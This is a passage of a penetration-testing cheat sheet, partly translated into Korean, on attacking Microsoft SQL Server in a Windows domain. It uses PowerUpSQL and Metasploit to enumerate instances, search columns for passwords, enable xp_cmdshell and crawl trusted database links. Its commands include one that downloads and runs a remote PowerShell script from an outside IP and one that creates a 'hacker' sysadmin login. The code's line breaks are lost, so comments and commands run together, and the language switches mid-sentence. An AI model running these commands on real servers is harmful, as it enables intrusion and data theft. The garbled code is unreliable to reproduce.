---
### Powershell
이 경우에 powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)이 매우 유용합니다.
```powershell
Import-Module .\PowerupSQL.psd1
도메인 세션 없이 네트워크에서 열거하기
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
도메인 내부에서 열거하기
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
MSSQL 기본 악용
데이터베이스 접근
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLColumnSampleDataThreaded-Keywords "password"-SampleSize 5| select instance, database, column, sample | ft -autosize
MSSQL RCE
MSSQL 호스트 내에서 명령을 실행하는 것도 가능할 수 있습니다.
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Check in the page mentioned in the 다음 섹션에서 수동으로 수행하는 방법을 확인하십시오.
MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰되는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.
데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.
Powershell 남용
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl-instance "<INSTANCE1>"-verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl-Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"## Enable xp_cmdshell and check itGet-SQLQuery-Instance "sql.domain.io,1433"-Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'## If you see the results of @@selectname, it workedGet-SQLQuery-Instance "sql.rto.local,1433"-Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
metasploit을 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수 있습니다.
#Set username, password, windows auth (if using AD), IP...msf> useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)
Manual - Openquery()
From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py.
From Windows you could also find the links and execute commands manually using a MSSQL client likeHeidiSQL
If you cannot perform actions like exec xp_cmdshell from openquery() try with the EXECUTE method.
Manual - EXECUTE
신뢰할 수 있는 링크를 사용하여 EXECUTE를 악용할 수도 있습니다:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
로컬 권한 상승
MSSQL 로컬 사용자는 일반적으로 **SeImpersonatePrivilege**라는 특별한 유형의 권한을 가지고 있습니다. 이는 계정이 "인증 후 클라이언트를 가장할 수 있도록" 허용합니다.
많은 저자들이 제안한 전략은 SYSTEM 서비스가 공격자가 생성한 악성 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 이 악성 서비스는 인증을 시도하는 동안 SYSTEM 서비스를 가장할 수 있습니다.
SweetPotato에는 Beacon의 execute-assembly 명령을 통해 실행할 수 있는 다양한 기술이 모여 있습니다.